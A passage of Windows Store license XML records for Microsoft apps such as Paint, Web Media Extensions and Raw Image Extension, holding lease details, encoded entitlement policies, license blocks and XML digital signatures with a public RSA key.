xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>/61CcaJINrxQnzOQ/32NoUDb4Xh8S3yUn4xkW5RQOLs=</DigestValue></Reference></SignedInfo><SignatureValue>g3j7APPV6yab39V0pCdCviChZM/1WSF+MB1KZURMKCVUjlWrrDCea8RF1wQvR93Qn3PqzoghAZIBonho7lcSvoEvRFNtKqPC0B9qf8ZOwYI3jRd7hfe6atoCH/8+lPjQ+t3wwvXuYwaTEWtB67DVNX4DSdxPXqpKMN86r03dBrxRVzH7mXtfZD9FRIvrLgM45Q8rwl5Xy4TB5kZO6HbwCJurJSU26tkwnhgix7jkkuKuttKJv63cM7heuVsQr2XgmlDivRC713EToOwMyPaC9nbR0pgDzgFvHxc15+lFjHxsRbj2TtlwabKnnR0xe1sS7ZQbdlJoB3S/m5O8WNqtuA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="84183788-b3b1-4d2f-8553-af71935a49d0" LicenseID="b59f5123-f94a-28bc-cf2d-1f77c3cd60ad" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.WebMediaExtensions_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T15:10:42.4712341Z</IssuedDate><LastUpdateDate>2026-02-20T15:10:42.4576805Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiMDkxZWQxYjktNmI1Mi0xZGVlLTk5NzktYjVjMGQ3OWVlZTY0IiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2ODk2MTg5NDYyMzg3MTgxJmNvbnRlbnRJZD03NTgzZTE0MS02MjEwLTVhMzYtYmI4OS04MGQwMzk3YzQ3MjEmZW50aXRsZW1lbnRJZD0wOTFlZDFiOS02YjUyLTFkZWUtOTk3OS1iNWMwZDc5ZWVlNjQmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbIjZmZmEyNWRjLWM4OWQtM2RlOS0zNjAxLWRmMDliYWU2NWE3NSJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6Ijc1ODNlMTQxLTYyMTAtNWEzNi1iYjg5LTgwZDAzOTdjNDcyMSIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TjVURFA4VkNNSFMiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTU6MTA6NDIuNDU3NTM0KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAgByeZhpAADLAAAAEAAAACNRn7VK+bwozy0fd8PNYK3OAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBlAGIAbQBlAGQAaQBhAGUAeAB0AGUAbgBzAGkAbwBuAHMAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAMBwjFpm/sIqDIqK4KKfpUIP6z/xLBK52Zfm+x9gC4bs0wAAAAQAAABy7qppzAAAAEQAAAABAAIAYpjuKsjddXVkoOaF95cmWOObqrpF7aiThxDtGA1f7qW3mXE/EuZQ1Ut7uH4J7dx+DLr9dCJrTltuW1BOOA+kgQ==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>oh90P80yL4lSgT5GiBI4dz23mx3Ma0zGaZWnhRoAfw8=</DigestValue></Reference></SignedInfo><SignatureValue>B+pQSbaqLEUtsrwh5bZcYk8A/Y+chpXPFMIHp0Kjg4ZjtxHfpsz+4oZjPYVavnNSN50LmhZHU5z3ctCiXidti+S/eE6niers8+xas3aGhvK3AiakmuDTq96Qu9V2BKuXwBlx4QgN2hbYHV6iiEPawmTtuT7BHFX80Gtwldx6/ofv3TR4NF0QHNnnoEhiw+fz56mwtkD0k/IJ5im1Q1MVYoHNYrRD67so+iMon3ilEN6V5lm5Fymcdr9yDUURkEnkCu7bk9ETfZK0ouJLv3/rU+a/wB8TMePdZbv1OfKEiOuGkTZkNp6wvdRHWNrtJjaoAt6PNs08BITgMqI7YowtxA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="9910179c-5b20-435a-b35a-d327b8c54c50" LicenseID="6ffa25dc-c89d-3de9-3601-df09bae65a75" ContentID="7583e141-6210-5a36-bb89-80d0397c4721" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9N5TDP8VCMHS</ProductID><PFM>microsoft.webmediaextensions_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T13:14:25.1150034Z</IssuedDate><LastUpdateDate>2026-02-20T13:14:25.1032558Z</LastUpdateDate><BeginDate>2026-02-20T13:14:25.1032547Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJlMDZjYmJlZS04N2ZiLTQ3OGItOGI3OC0zZDAyODVjYmJmYTYifQ==</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAQAxXphpAwDLAAAAEAAAANwl+m+dyOk9NgHfCbrmWnXOAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBlAGIAbQBlAGQAaQBhAGUAeAB0AGUAbgBzAGkAbwBuAHMAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAMBwjFpm/sIqDIqK4KKfpUIP6z/xLBK52Zfm+x9gC4bsIAAAAAQAAAAxXphpzAAAAEQAAAABAAIArzfjfrq9aq4UjMftaH0l2LeQFPdDLtf0YaY+2fxnJWCD46nb/sSa/vWJ24Zvl0UiOpjXts4jg8AO37TjfOq2KQ==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>qBOtHLIrno7BQoP7Fio0L4Pnavfe3CrEeBoao9k90Vg=</DigestValue></Reference></SignedInfo><SignatureValue>CSpBBTVM7OP+whleKMe/Isk5jA5PoZXDvASiqOLJ2e+q2bHwksAcsBTqnVSyWINeZ8i8Mkb+A7zS83FoTQZAoL6fbh0VseEBNITsriAH+pdjcSSahE7Gc58oWbWv5H6xVLq1tJwztW3NVsO4UO2cs+fefmpUbNYa23rKpmgAZ0gULaRJ/3SJj47ibxdckSATo5CtHtGZG2DKf1A273uNt+wvWDgk2k4wqZtU9MVL4c/ZB11bKeafUdr2oVKmKwIKgndCWiClgQozL0x3EDdKh6Gk7mk/H0eTD70TsZkMjsF85CQ6EBEX0Suln/AFo1zLSwNkr4z0MhEsnHljUypykw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="24c0989c-fe6a-4f80-a149-305307857fc4" LicenseID="4bc729d8-f5ef-3ff6-b8e3-885f8fe9ee6e" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.Paint_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T09:55:44.9350752Z</IssuedDate><LastUpdateDate>2026-02-20T09:55:44.9242962Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiOGIwYTAxODItZTBmOC01OWEwLWE4ZTUtMDE5YjhmM2E2ZDMzIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhJTNhMTA1NTUxODc1ODA0MDczNiZjb250ZW50SWQ9ZDZiOTE5N2UtM2E2ZC05MDMyLWRiZmQtZjQwZjk1YjQ2NGMxJmVudGl0bGVtZW50SWQ9OGIwYTAxODItZTBmOC01OWEwLWE4ZTUtMDE5YjhmM2E2ZDMzJm1hcmtldD1DSCZwb2xpY3lUeXBlPURldmljZSIsImtleUlkcyI6WyI3NTRiMTlmYi1iYzNiLWIyZTYtNzI1Yi1kYmM3OTVkYjhmZjQiXSwia2luZCI6IkNvbnRlbnQiLCJwYWNrYWdlcyI6W3sicGFja2FnZUlkZW50aWZpZXIiOiJkNmI5MTk3ZS0zYTZkLTkwMzItZGJmZC1mNDBmOTViNDY0YzEiLCJwYWNrYWdlVHlwZSI6Im1zaXgiLCJwcm9kdWN0QWRkT25zIjpbXSwicHJvZHVjdElkIjoiOVBDRlM1QjZUNzJIIiwic2t1SWQiOiIwMDEwIn1dLCJwb2xsQXQiOiIyMDI2LTAzLTA2VDA5OjU1OjQ0LjkyNDEzMzgrMDA6MDAiLCJyZWZyZXNoT25TdGFydHVwIjpmYWxzZSwidmVyc2lvbiI6N30=</CustomPolicies><SPLicenseBlock>FAAAAKQAAADJAAAACgAAAAUAAgChL5hpAADLAAAAEAAAANgpx0vv9fY/uOOIX4/p7m7OAAAAPAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcABhAGkAbgB0AF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQAa56Tp2O5cDgg1dzoiaI7APnPs8T+yhsNS+XI5kf4UYtMAAAAEAAAAoaSqacwAAABEAAAAAQACAC3oCS+Wr4jfy5ScmyDZ6dmDiP+qCpumRNi7Uum42yZfXX2bUGSn5wNEItTgzn+c+GFAaoHz6AZHKLSaV0+9g0Y=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>+/wdEpZ/4l6V6xktSlxmy14zJVUvttYVbwiKdwtRsKU=</DigestValue></Reference></SignedInfo><SignatureValue>kK2ImrGundHGSAEPbH6MJgS9U70gimIt9QR8euiPVI7cpNW4mdmYxzA790uZiOnNkuarr57Kv5MEMw/y71br2fG/e/myvqsRRbSSE2gJtRH+71g4oSuO0aG9N/TnOQIvvs0BIFpxLKcFOSvmf4Mcokqgt5Ap/RyjTxTOvH7qSXW0iO6s7H3LozB4aQfVH0DDob5+qkbJ41Se4i6EfM+1l5eRGcknJ9FXU2dHNOlhJdXxrxoYCVvicO8Dvd6mhGwKHkOjB+aysP77BXykQUv7nE4+VGCSfiUmyqu9+tWAh3wHSZAaROuE8tvBdHwbsOkaSDWFuvXC7fM3yYyDVney/g==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="65f20880-2eca-4b39-a71f-78a5fa5ca3e7" LicenseID="754b19fb-bc3b-b2e6-725b-dbc795db8ff4" ContentID="d6b9197e-3a6d-9032-dbfd-f40f95b464c1" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9PCFS5B6T72H</ProductID><PFM>microsoft.paint_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T14:36:14.5200189Z</IssuedDate><LastUpdateDate>2026-02-20T14:36:14.5112561Z</LastUpdateDate><BeginDate>2026-02-20T14:36:14.5112553Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiIzNjM1MmJjNS00NzU4LTQyYjUtOTExNC0wNWIxNDgxZGFhZmMifQ==</CustomPolicies><SPLicenseBlock>FAAAAKQAAADJAAAACgAAAAUAAQBfcZhpAwDLAAAAEAAAAPsZS3U7vOayclvbx5Xbj/TOAAAAPAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcABhAGkAbgB0AF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQAa56Tp2O5cDgg1dzoiaI7APnPs8T+yhsNS+XI5kf4UYiAAAAAEAAAAX3GYacwAAABEAAAAAQACAD1OQRpj9H+uWRPA2pdiBp3xbHTHExd1fDyZ8b7i7KrbTNcMwUDYGjI/S1jKwOFtv5G2gFOYz4T7TCU/UBDmgTk=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>H7bzrZxeTeXVExBTA5QwMX+xb1lWpc4PD/R0haGpt/U=</DigestValue></Reference></SignedInfo><SignatureValue>WwHvZhSoLCESYxB5vASobA/4BVi8hFkNkjsY8UfQ7zIQwJPir8MjS7LDxK/KXqhgIHJsx0+CHj6XyCTYhrwgDYcrQkbZUxva6ECaLx0qSu7Ar287SI0pV8zOTCYmdEAk5cu/TAwtNROfa4TA58WXNWvzt4/Zvl+B4/0dEYBp3iE4wmrzVxIO+nHmLbT0fZBz7eNwp6qmI5Tt7wY1Yi/mI+uMkFMZ4p/Aqa+t7XcfwzwaAwRez6m1OhmHewjgaX3f+ARnEJOHIsxkOP1XGpllP3yHNfel52Ls7t6Sz9Hvrw9UDT9pTEu32V4MGCmIgemBBJcrPKJTUuaknWC/lzd9sA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="68425c79-d520-451b-ac24-f147653e90e9" LicenseID="15f9deba-d378-6de0-1aa2-a203c73c3993" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.RawImageExtension_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T10:46:25.9962827Z</IssuedDate><LastUpdateDate>2026-02-20T10:46:25.9849697Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiMmMzNDQ2MzEtZmFlMy00NTI4LTUyNGUtNjUyYjgxY2QzNGZiIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2ODk2MjI4MDg5NDAyMjI2JmNvbnRlbnRJZD1hYTc4NTFmYy0wYTBjLWJmY2EtZTI3Ni03MjZjMjQ1MGI3NDQmZW50aXRsZW1lbnRJZD0yYzM0NDYzMS1mYWUzLTQ1MjgtNTI0ZS02NTJiODFjZDM0ZmImbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbIjc3NzgzZGQ5LTk4ZmMtMzQ1YS1jMTFhLTgyMTA5MDExZDE3NCJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6ImFhNzg1MWZjLTBhMGMtYmZjYS1lMjc2LTcyNmMyNDUwYjc0NCIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TkNURFcyVzFCSDgiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTA6NDY6MjUuOTg0NzQ2NCswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAALwAAADJAAAACgAAAAUAAgCCO5hpAADLAAAAEAAAALre+RV40+BtGqKiA8c8OZPOAAAAVAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcgBhAHcAaQBtAGEAZwBlAGUAeAB0AGUAbgBzAGkAbwBuAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQBSn1iPKEgUbJtlQZPQ8y69SuRGQkc9sVD/huChVsLfuNMAAAAEAAAAgrCqacwAAABEAAAAAQACABFTHO/ehmZJ3dTmcbOdKY6+zYjdlTjmtfMZIcaNqxlHGq0xsVAGDX8/QoMkBOV/i+yiBl46lpSp9yLSwaxyRvI=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>RS2co7G7PfwT8IYyL3pCMFg/+PrAeW094Y/BuV45ZIU=</DigestValue></Reference></SignedInfo><SignatureValue>XJEp8Vz7SzkwU+58wooQN5mAB/TiFECgCDgfgBT8I+3+8xT2xRt79iZkBTTdu7UhJuZeoix+uXcjLNIACnf5LsVuun0qEoCubxNHPtRrgXugpA6LeoZG1wuo6BSkAc7ThAY1EgFRv1FQfWX7glXczeFphBjABDRYe97NTN3v+CCCrQq7iaVCA7w0c4EEO+jSW+qSGB47ZWpF9+uGz1eQjsx/NfbVPs6Kcf9322EqNxe35od05FYCS1povtow3HVSnWpG5kJbyUc5X03XJ7ZcXK/xaBNvRgABxDhfwIUpHLZB5kZ3iEsqt1raiyFQ6i6Ry0Pxg9fLd9v+4iBqZGtQMw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="39cbcb41-caed-40fc-98fe-a37271e38a17" LicenseID="77783dd9-98fc-345a-c11a-82109011d174" ContentID="aa7851fc-0a0c-bfca-e276-726c2450b744" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NCTDW2W1BH8</ProductID><PFM>microsoft.rawimageextension_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-18T17:45:56.8354162Z</IssuedDate><LastUpdateDate>2026-02-18T17:45:56.8241012Z</LastUpdateDate><BeginDate>2026-02-18T17:45:56.8241007Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiIwYmZiMjA0MS0yZDEzLTRlZDEtYmQ3OS05NzUxZTg2MjRjZGEifQ==</CustomPolicies><SPLicenseBlock>FAAAALwAAADJAAAACgAAAAUAAQDV+pVpAwDLAAAAEAAAANk9eHf8mFo0wRqCEJAR0XTOAAAAVAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcgBhAHcAaQBtAGEAZwBlAGUAeAB0AGUAbgBzAGkAbwBuAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQBSn1iPKEgUbJtlQZPQ8y69SuRGQkc9sVD/huChVsLfuCAAAAAEAAAA1fqVacwAAABEAAAAAQACAP8KGU8155gGHEOQ7/vn9r/68bzfmM4KUZEzNeau1XP7sMz280RBScpagUGTbdx8WMdS+vDPV23RPl07+X8Amss=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>yOXYmq9FJl2WW6Mi4vSm0IOQwoUncH4iPunF6uEojjY=</DigestValue></Reference></SignedInfo><SignatureValue>jGgjBPooQDoYqVBCNSwsTLKCe/HIWIbGyhmTxuhbAPqesk22LzWfHhSMT9ZONxlZjc/Qy25diGxhMehFY/xD7/MG+oLE9SJvhdpdaeIYpt/wDl6e0GlHhi/0gCXSfwiW3Xn6Iu8OEdFctLXQl0Iv6SmhhW0/kmjxEy198N3qmfVOfuzfoL1SN1cHvuTqRNJsAj26MeV2CmgnyJMWWNYuvY8DHmeMkaww4r1HkOU40TTXgszAGiCRiJ/5rXlrL2FsqWUNRvPrz0EZeX/f1mO4iQTOvnQ8jyo9wtKeZatafFDWCU6Sjrgfnn2Yx10aHqgcgcztD0Od+4hDqrJHZU2NgQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
